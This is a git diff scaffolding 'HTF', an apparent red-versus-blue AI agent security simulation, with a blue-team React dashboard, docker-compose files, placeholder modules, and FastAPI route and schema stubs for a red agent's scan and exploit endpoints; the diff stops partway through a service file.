000000000..e69de29bb diff --git a/blue_agent/frontend/src/App.tsx b/blue_agent/frontend/src/App.tsx new file mode 100644 index 000000000..0aa7bf49a --- /dev/null +++ b/blue_agent/frontend/src/App.tsx @@ -0,0 +1,5 @@ +import { BlueDashboard } from "@/pages/BlueDashboard"; + +export default function App() { + return ; +} diff --git a/blue_agent/frontend/src/api/blueApi.ts b/blue_agent/frontend/src/api/blueApi.ts new file mode 100644 index 000000000..1df6d2669 --- /dev/null +++ b/blue_agent/frontend/src/api/blueApi.ts @@ -0,0 +1,42 @@ +import axios from "axios"; +import type { + ClosePortRequest, + HardenServiceRequest, + ToolCall, +} from "@/types/blue.types"; + +const BLUE_BASE_URL = + import.meta.env.VITE_BLUE_API_URL ?? "http://localhost:8002"; + +const client = axios.create({ + baseURL: BLUE_BASE_URL, + timeout: 15_000, +}); + +export const blueApi = { + health: () => client.get<{ status: string; agent: string }>("/health"), + + closePort: (req: ClosePortRequest) => + client.post("/defend/close_port", req).then((r) => r.data), + hardenService: (req: HardenServiceRequest) => + client.post("/defend/harden_service", req).then((r) => r.data), + isolateHost: (host: string, reason?: string) => + client.post("/defend/isolate_host", { host, reason }).then((r) => r.data), + + recentDefenses: (limit = 20) => + client + .get("/defend/recent", { params: { limit } }) + .then((r) => r.data), + + applyPatch: (host: string, cve_id?: string, pkg?: string) => + client + .post("/patch/apply", { host, cve_id, package: pkg }) + .then((r) => r.data), + verifyFix: (host: string, cve_id: string) => + client.post("/patch/verify_fix", { host, cve_id }).then((r) => r.data), + + planDefense: (host: string, threat: Record = {}) => + client.post("/strategy/plan", { host, threat }).then((r) => r.data), + currentStrategy: () => + client.get("/strategy/current").then((r) => r.data), +}; diff --git a/blue_agent/frontend/src/components/ActivityPanel.tsx b/blue_agent/frontend/src/components/ActivityPanel.tsx new file mode 100644 index 000000000..7276a0000 --- /dev/null +++ b/blue_agent/frontend/src/components/ActivityPanel.tsx @@ -0,0 +1,51 @@ +import type { ToolCall } from "@/types/blue.types"; +import { ToolCard } from "./ToolCard"; + +interface ActivityPanelProps { + toolCalls: ToolCall[]; + limit?: number; + accent?: string; +} + +export function ActivityPanel({ + toolCalls, + limit = 10, + accent = "#58a6ff", +}: ActivityPanelProps) { + const recent = [...toolCalls].slice(-limit).reverse(); + + return ( +
+
+

+ CURRENT ACTIVITY +

+ + {recent.length} tool calls + +
+ {recent.length === 0 ? ( +

No activity yet.

+ ) : ( + recent.map((call) => ) + )} +
+ ); +} diff --git a/blue_agent/frontend/src/components/ChatButton.tsx b/blue_agent/frontend/src/components/ChatButton.tsx new file mode 100644 index 000000000..de97efa8b --- /dev/null +++ b/blue_agent/frontend/src/components/ChatButton.tsx @@ -0,0 +1,29 @@ +interface ChatButtonProps { + accent?: string; + onClick?: () => void; +} + +export function ChatButton({ accent = "#58a6ff", onClick }: ChatButtonProps) { + return ( + + ); +} diff --git a/blue_agent/frontend/src/components/LogStream.tsx b/blue_agent/frontend/src/components/LogStream.tsx new file mode 100644 index 000000000..964bf25ac --- /dev/null +++ b/blue_agent/frontend/src/components/LogStream.tsx @@ -0,0 +1,78 @@ +import { useEffect, useRef } from "react"; +import type { LogEntry } from "@/types/blue.types"; + +interface LogStreamProps { + logs: LogEntry[]; + accent?: string; +} + +function formatTime(ts: string): string { + const d = new Date(ts); + const hh = String(d.getHours()).padStart(2, "0"); + const mm = String(d.getMinutes()).padStart(2, "0"); + const ss = String(d.getSeconds()).padStart(2, "0"); + return `${hh}:${mm}:${ss}`; +} + +const LEVEL_COLORS: Record = { + INFO: "#7ee787", + WARN: "#d29922", + ERROR: "#f85149", +}; + +export function LogStream({ logs, accent = "#58a6ff" }: LogStreamProps) { + const bottomRef = useRef(null); + + useEffect(() => { + bottomRef.current?.scrollIntoView({ behavior: "smooth" }); + }, [logs]); + + return ( +
+
+

+ LIVE LOGS +

+ {logs.length} lines +
+
+ {logs.map((line, i) => ( +
+ [{formatTime(line.timestamp)}] + + {line.level} + + {line.message} +
+ ))} +
+
+
+ ); +} diff --git a/blue_agent/frontend/src/components/ToolCard.tsx b/blue_agent/frontend/src/components/ToolCard.tsx new file mode 100644 index 000000000..cbf88a941 --- /dev/null +++ b/blue_agent/frontend/src/components/ToolCard.tsx @@ -0,0 +1,70 @@ +import type { CSSProperties } from "react"; +import type { ToolCall, ToolStatus } from "@/types/blue.types"; + +interface ToolCardProps { + tool: ToolCall; + accent?: string; +} + +const STATUS_COLORS: Record = { + DONE: "#3fb950", + RUNNING: "#d29922", + PENDING: "#8b949e", + FAILED: "#f85149", +}; + +export function ToolCard({ tool, accent = "#58a6ff" }: ToolCardProps) { + const badgeStyle: CSSProperties = { + background: STATUS_COLORS[tool.status] ?? "#8b949e", + color: "#0d1117", + fontWeight: 700, + fontSize: 11, + padding: "2px 8px", + borderRadius: 4, + letterSpacing: 0.5, + }; + + return ( +
+
+ {tool.name} + {tool.status} +
+
+        {JSON.stringify(tool.params, null, 2)}
+      
+ {tool.result && ( +
+          β†’ {JSON.stringify(tool.result)}
+        
+ )} +
+ ); +} diff --git a/blue_agent/frontend/src/hooks/useBlueWebSocket.ts b/blue_agent/frontend/src/hooks/useBlueWebSocket.ts new file mode 100644 index 000000000..4fdd49289 --- /dev/null +++ b/blue_agent/frontend/src/hooks/useBlueWebSocket.ts @@ -0,0 +1,65 @@ +import { useEffect, useRef, useState } from "react"; +import type { LogEntry, ToolCall, WsEnvelope } from "@/types/blue.types"; + +const BLUE_WS_URL = + import.meta.env.VITE_BLUE_WS_URL ?? "ws://localhost:8002/ws/blue"; + +interface BlueWsState { + connected: boolean; + toolCalls: ToolCall[]; + logs: LogEntry[]; +} + +const MAX_TOOL_CALLS = 50; +const MAX_LOGS = 200; + +export function useBlueWebSocket(): BlueWsState { + const [connected, setConnected] = useState(false); + const [toolCalls, setToolCalls] = useState([]); + const [logs, setLogs] = useState([]); + const wsRef = useRef(null); + const reconnectTimer = useRef(null); + + useEffect(() => { + let cancelled = false; + + const connect = () => { + const ws = new WebSocket(BLUE_WS_URL); + wsRef.current = ws; + + ws.onopen = () => setConnected(true); + ws.onclose = () => { + setConnected(false); + if (!cancelled) { + reconnectTimer.current = window.setTimeout(connect, 2_000); + } + }; + ws.onerror = () => ws.close(); + ws.onmessage = (event) => { + try { + const env = JSON.parse(event.data) as WsEnvelope; + if (env.type === "tool_call") { + setToolCalls((prev) => { + const next = prev.filter((t) => t.id !== env.payload.id); + next.push(env.payload); + return next.slice(-MAX_TOOL_CALLS); + }); + } else if (env.type === "log") { + setLogs((prev) => [...prev, env.payload].slice(-MAX_LOGS)); + } + } catch (err) { + console.error("[blue ws] bad payload", err); + } + }; + }; + + connect(); + return () => { + cancelled = true; + if (reconnectTimer.current) window.clearTimeout(reconnectTimer.current); + wsRef.current?.close(); + }; + }, []); + + return { connected, toolCalls, logs }; +} diff --git a/blue_agent/frontend/src/main.tsx b/blue_agent/frontend/src/main.tsx new file mode 100644 index 000000000..385492962 --- /dev/null +++ b/blue_agent/frontend/src/main.tsx @@ -0,0 +1,9 @@ +import React from "react"; +import ReactDOM from "react-dom/client"; +import App from "./App"; + +ReactDOM.createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/blue_agent/frontend/src/pages/BlueDashboard.tsx b/blue_agent/frontend/src/pages/BlueDashboard.tsx new file mode 100644 index 000000000..508b00739 --- /dev/null +++ b/blue_agent/frontend/src/pages/BlueDashboard.tsx @@ -0,0 +1,101 @@ +import { useState } from "react"; +import { ActivityPanel } from "@/components/ActivityPanel"; +import { ChatButton } from "@/components/ChatButton"; +import { LogStream } from "@/components/LogStream"; +import { useBlueWebSocket } from "@/hooks/useBlueWebSocket"; +import { blueApi } from "@/api/blueApi"; + +const ACCENT = "#58a6ff"; + +export function BlueDashboard() { + const { connected, toolCalls, logs } = useBlueWebSocket(); + const [host, setHost] = useState("192.168.1.100"); + const [busy, setBusy] = useState(false); + + const handleHarden = async () => { + setBusy(true); + try { + await blueApi.hardenService({ host, service: "ssh" }); + } finally { + setBusy(false); + } + }; + + return ( +
+
+
+

+ πŸ”΅ BLUE TEAM // DEFENDER +

+

+ host: {host} Β· ws:{" "} + + {connected ? "connected" : "disconnected"} + +

+
+
+ setHost(e.target.value)} + style={{ + background: "#161b22", + border: `1px solid ${ACCENT}55`, + color: "#f0f6fc", + padding: "8px 10px", + borderRadius: 4, + fontFamily: "inherit", + }} + /> + +
+
+ +
+ + +
+ + +
+ ); +} diff --git a/blue_agent/frontend/src/types/blue.types.ts b/blue_agent/frontend/src/types/blue.types.ts new file mode 100644 index 000000000..b130f635c --- /dev/null +++ b/blue_agent/frontend/src/types/blue.types.ts @@ -0,0 +1,36 @@ +export type ToolStatus = "PENDING" | "RUNNING" | "DONE" | "FAILED"; + +export interface ToolCall { + id: string; + name: string; + category: "defend" | "patch" | "strategy" | string; + status: ToolStatus; + params: Record; + result: Record | null; + started_at: string; + finished_at: string | null; +} + +export interface LogEntry { + timestamp: string; + level: "INFO" | "WARN" | "ERROR" | string; + message: string; + tool_id: string | null; +} + +export type WsEnvelope = + | { type: "tool_call"; payload: ToolCall } + | { type: "log"; payload: LogEntry } + | { type: "heartbeat"; payload: Record }; + +export interface ClosePortRequest { + host: string; + port: number; + protocol?: string; +} + +export interface HardenServiceRequest { + host: string; + service: string; + options?: Record; +} diff --git a/blue_agent/frontend/src/vite-env.d.ts b/blue_agent/frontend/src/vite-env.d.ts new file mode 100644 index 000000000..9509bce2c --- /dev/null +++ b/blue_agent/frontend/src/vite-env.d.ts @@ -0,0 +1,10 @@ +/// + +interface ImportMetaEnv { + readonly VITE_BLUE_API_URL?: string; + readonly VITE_BLUE_WS_URL?: string; +} + +interface ImportMeta { + readonly env: ImportMetaEnv; +} diff --git a/blue_agent/frontend/tsconfig.json b/blue_agent/frontend/tsconfig.json new file mode 100644 index 000000000..d4126db6a --- /dev/null +++ b/blue_agent/frontend/tsconfig.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "target": "ES2022", + "useDefineForClassFields": true, + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "baseUrl": ".", + "paths": { + "@/*": ["src/*"] + } + }, + "include": ["src"] +} diff --git a/blue_agent/frontend/vite.config.ts b/blue_agent/frontend/vite.config.ts new file mode 100644 index 000000000..7c5ec2d6e --- /dev/null +++ b/blue_agent/frontend/vite.config.ts @@ -0,0 +1,26 @@ +import path from "node:path"; +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; + +export default defineConfig({ + plugins: [react()], + server: { + port: 5174, + proxy: { + "/api": { + target: "http://localhost:8002", + changeOrigin: true, + rewrite: (p) => p.replace(/^\/api/, ""), + }, + "/ws": { + target: "ws://localhost:8002", + ws: true, + }, + }, + }, + resolve: { + alias: { + "@": path.resolve(__dirname, "./src"), + }, + }, +}); diff --git a/blue_agent/patcher/__init__.py b/blue_agent/patcher/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/patcher/auto_patcher.py b/blue_agent/patcher/auto_patcher.py new file mode 100644 index 000000000..285dae212 --- /dev/null +++ b/blue_agent/patcher/auto_patcher.py @@ -0,0 +1,5 @@ +"""Automated patching for known vulnerabilities.""" + + +class AutoPatcher: + pass diff --git a/blue_agent/responder/__init__.py b/blue_agent/responder/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/responder/isolator.py b/blue_agent/responder/isolator.py new file mode 100644 index 000000000..634da1982 --- /dev/null +++ b/blue_agent/responder/isolator.py @@ -0,0 +1,5 @@ +"""Isolates compromised hosts or services.""" + + +class Isolator: + pass diff --git a/blue_agent/responder/response_engine.py b/blue_agent/responder/response_engine.py new file mode 100644 index 000000000..5681ae9e4 --- /dev/null +++ b/blue_agent/responder/response_engine.py @@ -0,0 +1,5 @@ +"""Decides and executes incident response actions.""" + + +class ResponseEngine: + pass diff --git a/blue_agent/strategy/__init__.py b/blue_agent/strategy/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/strategy/defense_evolver.py b/blue_agent/strategy/defense_evolver.py new file mode 100644 index 000000000..e94a2208f --- /dev/null +++ b/blue_agent/strategy/defense_evolver.py @@ -0,0 +1,5 @@ +"""Evolves defenses in response to red-team activity.""" + + +class DefenseEvolver: + pass diff --git a/blue_agent/strategy/defense_planner.py b/blue_agent/strategy/defense_planner.py new file mode 100644 index 000000000..fe809b49f --- /dev/null +++ b/blue_agent/strategy/defense_planner.py @@ -0,0 +1,5 @@ +"""Plans defensive posture and controls.""" + + +class DefensePlanner: + pass diff --git a/config/__init__.py b/config/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/core/base_agent.py b/core/base_agent.py new file mode 100644 index 000000000..80d7ccdf8 --- /dev/null +++ b/core/base_agent.py @@ -0,0 +1,5 @@ +"""Abstract base class shared by red and blue agents.""" + + +class BaseAgent: + pass diff --git a/core/cve_feed.py b/core/cve_feed.py new file mode 100644 index 000000000..851c5100c --- /dev/null +++ b/core/cve_feed.py @@ -0,0 +1,5 @@ +"""CVE feed client for fetching vulnerability data.""" + + +class CVEFeed: + pass diff --git a/core/event_bus.py b/core/event_bus.py new file mode 100644 index 000000000..56f91e917 --- /dev/null +++ b/core/event_bus.py @@ -0,0 +1,5 @@ +"""Pub/sub event bus connecting agents and subsystems.""" + + +class EventBus: + pass diff --git a/docker-compose-blue.yml b/docker-compose-blue.yml new file mode 100644 index 000000000..b806e5076 --- /dev/null +++ b/docker-compose-blue.yml @@ -0,0 +1,68 @@ +# HTF β€” Blue Team only compose +# Runs just the Blue Agent backend (8002) and frontend (3002) on an +# isolated `htf-blue-network`. Use this when iterating on the defender +# side without spinning up the Red stack. +# +# Usage: +# docker-compose -f docker-compose-blue.yml up --build +# docker-compose -f docker-compose-blue.yml down +# +# Prerequisite: copy .env.example -> .env +# cp .env.example .env + +services: + blue-backend: + container_name: htf-blue-backend + build: + context: . + dockerfile: blue_agent/backend/Dockerfile + image: htf/blue-backend:dev + ports: + - "8002:8002" + env_file: + - path: .env + required: false + environment: + PYTHONPATH: /app + volumes: + - ./blue_agent:/app/blue_agent + - ./core:/app/core + - ./shared:/app/shared + - ./config:/app/config + command: > + uvicorn blue_agent.backend.main:app + --host 0.0.0.0 --port 8002 --reload + networks: + - htf-blue-network + + blue-frontend: + container_name: htf-blue-frontend + build: + context: ./blue_agent/frontend + dockerfile: Dockerfile + target: build + image: htf/blue-frontend:dev + ports: + - "3002:3002" + env_file: + - path: .env + required: false + environment: + VITE_BLUE_API_URL: http://localhost:8002 + VITE_BLUE_WS_URL: ws://localhost:8002/ws/blue + volumes: + - ./blue_agent/frontend/src:/app/src + - ./blue_agent/frontend/public:/app/public + - ./blue_agent/frontend/index.html:/app/index.html + - ./blue_agent/frontend/vite.config.ts:/app/vite.config.ts + - ./blue_agent/frontend/tsconfig.json:/app/tsconfig.json + command: npm run dev -- --host 0.0.0.0 --port 3002 + depends_on: + - blue-backend + networks: + - htf-blue-network + +networks: + htf-blue-network: + driver: bridge + name: htf-blue-network diff --git a/docker-compose-red.yml b/docker-compose-red.yml new file mode 100644 index 000000000..ced58443e --- /dev/null +++ b/docker-compose-red.yml @@ -0,0 +1,68 @@ +# HTF β€” Red Team only compose +# Runs just the Red Agent backend (8001) and frontend (3001) on an +# isolated `htf-red-network`. Use this when iterating on the attacker side +# without spinning up the Blue stack. +# +# Usage: +# docker-compose -f docker-compose-red.yml up --build +# docker-compose -f docker-compose-red.yml down +# +# Prerequisite: copy .env.example -> .env +# cp .env.example .env + +services: + red-backend: + container_name: htf-red-backend + build: + context: . + dockerfile: red_agent/backend/Dockerfile + image: htf/red-backend:dev + ports: + - "8001:8001" + env_file: + - path: .env + required: false + environment: + PYTHONPATH: /app + volumes: + - ./red_agent:/app/red_agent + - ./core:/app/core + - ./shared:/app/shared + - ./config:/app/config + command: > + uvicorn red_agent.backend.main:app + --host 0.0.0.0 --port 8001 --reload + networks: + - htf-red-network + + red-frontend: + container_name: htf-red-frontend + build: + context: ./red_agent/frontend + dockerfile: Dockerfile + target: build + image: htf/red-frontend:dev + ports: + - "3001:3001" + env_file: + - path: .env + required: false + environment: + VITE_RED_API_URL: http://localhost:8001 + VITE_RED_WS_URL: ws://localhost:8001/ws/red + volumes: + - ./red_agent/frontend/src:/app/src + - ./red_agent/frontend/public:/app/public + - ./red_agent/frontend/index.html:/app/index.html + - ./red_agent/frontend/vite.config.ts:/app/vite.config.ts + - ./red_agent/frontend/tsconfig.json:/app/tsconfig.json + command: npm run dev -- --host 0.0.0.0 --port 3001 + depends_on: + - red-backend + networks: + - htf-red-network + +networks: + htf-red-network: + driver: bridge + name: htf-red-network diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 000000000..731c529f7 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,123 @@ +# HTF β€” Master docker-compose +# Brings up BOTH Red and Blue agents (backend + frontend) on a shared network. +# +# Usage: +# docker-compose up --build # build & run everything +# docker-compose up -d # detached +# docker-compose down # tear everything down +# docker-compose logs -f red-backend # tail a single service +# +# Prerequisite: copy .env.example -> .env +# cp .env.example .env +# +# Dev mode: the frontend services use `target: build` so they run the Vite +# dev server with hot reload against mounted source files. Switch to prod +# by removing `target:`, the volume mounts, and the `command:` override. + +services: + red-backend: + container_name: htf-red-backend + build: + context: . + dockerfile: red_agent/backend/Dockerfile + image: htf/red-backend:dev + ports: + - "8001:8001" + env_file: + - path: .env + required: false + environment: + PYTHONPATH: /app + volumes: + - ./red_agent:/app/red_agent + - ./core:/app/core + - ./shared:/app/shared + - ./config:/app/config + command: > + uvicorn red_agent.backend.main:app + --host 0.0.0.0 --port 8001 --reload + networks: + - htf-network + + red-frontend: + container_name: htf-red-frontend + build: + context: ./red_agent/frontend + dockerfile: Dockerfile + target: build + image: htf/red-frontend:dev + ports: + - "3001:3001" + env_file: + - path: .env + required: false + environment: + VITE_RED_API_URL: http://localhost:8001 + VITE_RED_WS_URL: ws://localhost:8001/ws/red + volumes: + - ./red_agent/frontend/src:/app/src + - ./red_agent/frontend/public:/app/public + - ./red_agent/frontend/index.html:/app/index.html + - ./red_agent/frontend/vite.config.ts:/app/vite.config.ts + - ./red_agent/frontend/tsconfig.json:/app/tsconfig.json + command: npm run dev -- --host 0.0.0.0 --port 3001 + depends_on: + - red-backend + networks: + - htf-network + + blue-backend: + container_name: htf-blue-backend + build: + context: . + dockerfile: blue_agent/backend/Dockerfile + image: htf/blue-backend:dev + ports: + - "8002:8002" + env_file: + - path: .env + required: false + environment: + PYTHONPATH: /app + volumes: + - ./blue_agent:/app/blue_agent + - ./core:/app/core + - ./shared:/app/shared + - ./config:/app/config + command: > + uvicorn blue_agent.backend.main:app + --host 0.0.0.0 --port 8002 --reload + networks: + - htf-network + + blue-frontend: + container_name: htf-blue-frontend + build: + context: ./blue_agent/frontend + dockerfile: Dockerfile + target: build + image: htf/blue-frontend:dev + ports: + - "3002:3002" + env_file: + - path: .env + required: false + environment: + VITE_BLUE_API_URL: http://localhost:8002 + VITE_BLUE_WS_URL: ws://localhost:8002/ws/blue + volumes: + - ./blue_agent/frontend/src:/app/src + - ./blue_agent/frontend/public:/app/public + - ./blue_agent/frontend/index.html:/app/index.html + - ./blue_agent/frontend/vite.config.ts:/app/vite.config.ts + - ./blue_agent/frontend/tsconfig.json:/app/tsconfig.json + command: npm run dev -- --host 0.0.0.0 --port 3002 + depends_on: + - blue-backend + networks: + - htf-network + +networks: + htf-network: + driver: bridge + name: htf-network diff --git a/docs/.gitkeep b/docs/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/main.py b/main.py new file mode 100644 index 000000000..bc8a362e0 --- /dev/null +++ b/main.py @@ -0,0 +1,32 @@ +"""HTF root entry point. + +Launches the Red (8001) and Blue (8002) FastAPI backends in parallel +inside a single process. Each frontend is started independently from +its own folder via `npm run dev` (Red on 5173, Blue on 5174). +""" + +from __future__ import annotations + +import asyncio + +import uvicorn + +from blue_agent.backend.main import BLUE_API_PORT, app as blue_app +from red_agent.backend.main import RED_API_PORT, app as red_app + + +async def _serve(app, port: int) -> None: + config = uvicorn.Config(app, host="0.0.0.0", port=port, log_level="info") + server = uvicorn.Server(config) + await server.serve() + + +async def main() -> None: + await asyncio.gather( + _serve(red_app, RED_API_PORT), + _serve(blue_app, BLUE_API_PORT), + ) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/red_agent/__init__.py b/red_agent/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/backend/Dockerfile b/red_agent/backend/Dockerfile new file mode 100644 index 000000000..3c78860af --- /dev/null +++ b/red_agent/backend/Dockerfile @@ -0,0 +1,36 @@ +# syntax=docker/dockerfile:1.6 +# Red Agent Backend β€” FastAPI on port 8001 +# +# Build context MUST be the project root so the image can include +# the shared Python packages (core/, shared/, config/) alongside red_agent/. +# +# docker build -f red_agent/backend/Dockerfile -t htf-red-backend . + +FROM python:3.11-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PIP_NO_CACHE_DIR=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=1 + +WORKDIR /app + +RUN apt-get update \ + && apt-get install -y --no-install-recommends curl \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt ./ +RUN pip install -r requirements.txt + +# Copy only the Python packages the Red backend needs. +COPY core ./core +COPY config ./config +COPY shared ./shared +COPY red_agent ./red_agent + +EXPOSE 8001 + +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD curl -fsS http://localhost:8001/health || exit 1 + +CMD ["uvicorn", "red_agent.backend.main:app", "--host", "0.0.0.0", "--port", "8001"] diff --git a/red_agent/backend/__init__.py b/red_agent/backend/__init__.py new file mode 100644 index 000000000..cebf84648 --- /dev/null +++ b/red_agent/backend/__init__.py @@ -0,0 +1 @@ +"""FastAPI backend package for the Red (attacker) agent.""" diff --git a/red_agent/backend/main.py b/red_agent/backend/main.py new file mode 100644 index 000000000..d9ebfad22 --- /dev/null +++ b/red_agent/backend/main.py @@ -0,0 +1,64 @@ +"""FastAPI entry point for the Red Agent backend. + +Runs on port 8001. Exposes REST routes for scan / exploit / strategy +operations plus a WebSocket channel that streams live tool-call logs to +the Red Team dashboard. +""" + +from contextlib import asynccontextmanager + +from fastapi import FastAPI +from fastapi.middleware.cors import CORSMiddleware + +from red_agent.backend.routers import ( + exploit_routes, + scan_routes, + strategy_routes, +) +from red_agent.backend.websocket import red_ws + +RED_API_PORT = 8001 + + +@asynccontextmanager +async def lifespan(app: FastAPI): + # Startup: place to wire up the RedController, event bus, CVE feed, etc. + yield + # Shutdown: close any open resources here. + + +app = FastAPI( + title="HTF Red Agent API", + description="Backend for the Red (attacker) AI agent in the HTF simulation.", + version="0.1.0", + lifespan=lifespan, +) + +app.add_middleware( + CORSMiddleware, + allow_origins=["http://localhost:5173", "http://localhost:5174"], + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], +) + +app.include_router(scan_routes.router, prefix="/scan", tags=["scan"]) +app.include_router(exploit_routes.router, prefix="/exploit", tags=["exploit"]) +app.include_router(strategy_routes.router, prefix="/strategy", tags=["strategy"]) +app.include_router(red_ws.router, tags=["websocket"]) + + +@app.get("/health", tags=["meta"]) +async def health() -> dict[str, str]: + return {"status": "ok", "agent": "red"} + + +if __name__ == "__main__": + import uvicorn + + uvicorn.run( + "red_agent.backend.main:app", + host="0.0.0.0", + port=RED_API_PORT, + reload=True, + ) diff --git a/red_agent/backend/routers/__init__.py b/red_agent/backend/routers/__init__.py new file mode 100644 index 000000000..fce36fcc0 --- /dev/null +++ b/red_agent/backend/routers/__init__.py @@ -0,0 +1 @@ +"""HTTP routers for the Red Agent backend.""" diff --git a/red_agent/backend/routers/exploit_routes.py b/red_agent/backend/routers/exploit_routes.py new file mode 100644 index 000000000..e7a2a12b5 --- /dev/null +++ b/red_agent/backend/routers/exploit_routes.py @@ -0,0 +1,28 @@ +"""Exploit endpoints for the Red Agent.""" + +from fastapi import APIRouter + +from red_agent.backend.schemas.red_schemas import ( + CVELookupRequest, + CVELookupResult, + ExploitRequest, + ExploitResult, +) +from red_agent.backend.services import red_service + +router = APIRouter() + + +@router.post("/lookup_cve", response_model=CVELookupResult) +async def lookup_cve(request: CVELookupRequest) -> CVELookupResult: + return await red_service.lookup_cve(request) + + +@router.post("/run", response_model=ExploitResult) +async def run_exploit(request: ExploitRequest) -> ExploitResult: + return await red_service.run_exploit(request) + + +@router.post("/cve_run", response_model=ExploitResult) +async def run_cve_exploit(request: ExploitRequest) -> ExploitResult: + return await red_service.run_cve_exploit(request) diff --git a/red_agent/backend/routers/scan_routes.py b/red_agent/backend/routers/scan_routes.py new file mode 100644 index 000000000..5b94ee6f1 --- /dev/null +++ b/red_agent/backend/routers/scan_routes.py @@ -0,0 +1,40 @@ +"""Scan endpoints for the Red Agent.""" + +from fastapi import APIRouter, HTTPException + +from red_agent.backend.schemas.red_schemas import ( + ScanRequest, + ScanResult, + ToolCall, +) +from red_agent.backend.services import red_service + +router = APIRouter() + + +@router.post("/network", response_model=ScanResult) +async def scan_network(request: ScanRequest) -> ScanResult: + try: + return await red_service.run_network_scan(request) + except Exception as exc: # pragma: no cover - bubble to HTTP layer + raise HTTPException(status_code=500, detail=str(exc)) from exc + + +@router.post("/web", response_model=ScanResult) +async def scan_web(request: ScanRequest) -> ScanResult: + return await red_service.run_web_scan(request) + + +@router.post("/system", response_model=ScanResult) +async def scan_system(request: ScanRequest) -> ScanResult: + return await red_service.run_system_scan(request) + + +@router.post("/cloud", response_model=ScanResult) +async def scan_cloud(request: ScanRequest) -> ScanResult: + return await red_service.run_cloud_scan(request) + + +@router.get("/recent", response_model=list[ToolCall]) +async def recent_scans(limit: int = 20) -> list[ToolCall]: + return await red_service.recent_tool_calls(category="scan", limit=limit) diff --git a/red_agent/backend/routers/strategy_routes.py b/red_agent/backend/routers/strategy_routes.py new file mode 100644 index 000000000..ac02487f3 --- /dev/null +++ b/red_agent/backend/routers/strategy_routes.py @@ -0,0 +1,26 @@ +"""Strategy endpoints for the Red Agent.""" + +from fastapi import APIRouter + +from red_agent.backend.schemas.red_schemas import ( + StrategyPlan, + StrategyRequest, +) +from red_agent.backend.services import red_service + +router = APIRouter() + + +@router.post("/plan", response_model=StrategyPlan) +async def plan_attack(request: StrategyRequest) -> StrategyPlan: + return await red_service.plan_attack(request) + + +@router.post("/evolve", response_model=StrategyPlan) +async def evolve_strategy(request: StrategyRequest) -> StrategyPlan: + return await red_service.evolve_strategy(request) + + +@router.get("/current", response_model=StrategyPlan) +async def current_strategy() -> StrategyPlan: + return await red_service.current_strategy() diff --git a/red_agent/backend/schemas/__init__.py b/red_agent/backend/schemas/__init__.py new file mode 100644 index 000000000..755405447 --- /dev/null +++ b/red_agent/backend/schemas/__init__.py @@ -0,0 +1 @@ +"""Pydantic schemas exposed by the Red Agent backend.""" diff --git a/red_agent/backend/schemas/red_schemas.py b/red_agent/backend/schemas/red_schemas.py new file mode 100644 index 000000000..6bfc3a1a0 --- /dev/null +++ b/red_agent/backend/schemas/red_schemas.py @@ -0,0 +1,83 @@ +"""Request / response models for the Red Agent backend.""" + +from datetime import datetime +from enum import Enum +from typing import Any + +from pydantic import BaseModel, Field + + +class ToolStatus(str, Enum): + PENDING = "PENDING" + RUNNING = "RUNNING" + DONE = "DONE" + FAILED = "FAILED" + + +class ToolCall(BaseModel): + """Represents a single tool invocation surfaced in the UI.""" + + id: str + name: str = Field(..., description="Tool name, e.g. nmap_scan, lookup_cve") + category: str = Field(..., description="scan | exploit | strategy") + status: ToolStatus = ToolStatus.PENDING + params: dict[str, Any] = Field(default_factory=dict) + result: dict[str, Any] | None = None + started_at: datetime = Field(default_factory=datetime.utcnow) + finished_at: datetime | None = None + + +class LogEntry(BaseModel): + timestamp: datetime = Field(default_factory=datetime.utcnow) + level: str = "INFO" + message: str + tool_id: str | None = None + + +class ScanRequest(BaseModel): + target: str = Field(..., examples=["192.168.1.100"]) + ports: list[int] | None = None + options: dict[str, Any] = Field(default_factory=dict) + + +class ScanResult(BaseModel): + tool_call: ToolCall + open_ports: list[int] = Field(default_factory=list) + services: dict[int, str] = Field(default_factory=dict) + findings: list[str] = Field(default_factory=list) + + +class CVELookupRequest(BaseModel): + service: str + version: str | None = None + + +class CVELookupResult(BaseModel): + tool_call: ToolCall + cve_ids: list[str] = Field(default_factory=list) + summaries: dict[str, str] = Field(default_factory=dict) + + +class ExploitRequest(BaseModel): + target: str + cve_id: str | None = None + payload: str | None = None + options: dict[str, Any] = Field(default_factory=dict) + + +class ExploitResult(BaseModel): + tool_call: ToolCall + success: bool = False + foothold: str | None = None + notes: str | None = None + + +class StrategyRequest(BaseModel): + target: str + intel: dict[str, Any] = Field(default_factory=dict) + + +class StrategyPlan(BaseModel): + tool_call: ToolCall + steps: list[str] = Field(default_factory=list) + rationale: str | None = None diff --git a/red_agent/backend/services/__init__.py b/red_agent/backend/services/__init__.py new file mode 100644 index 000000000..37ed22d47 --- /dev/null +++ b/red_agent/backend/services/__init__.py @@ -0,0 +1 @@ +"""Service layer wiring HTTP routes to the underlying agent modules.""" diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py new file mode 100644 index 000000000..dd768f134 --- /dev/null +++ b/red_agent/backend/services/red_service.py @@ -0,0 +1,143 @@ +"""Bridge between the 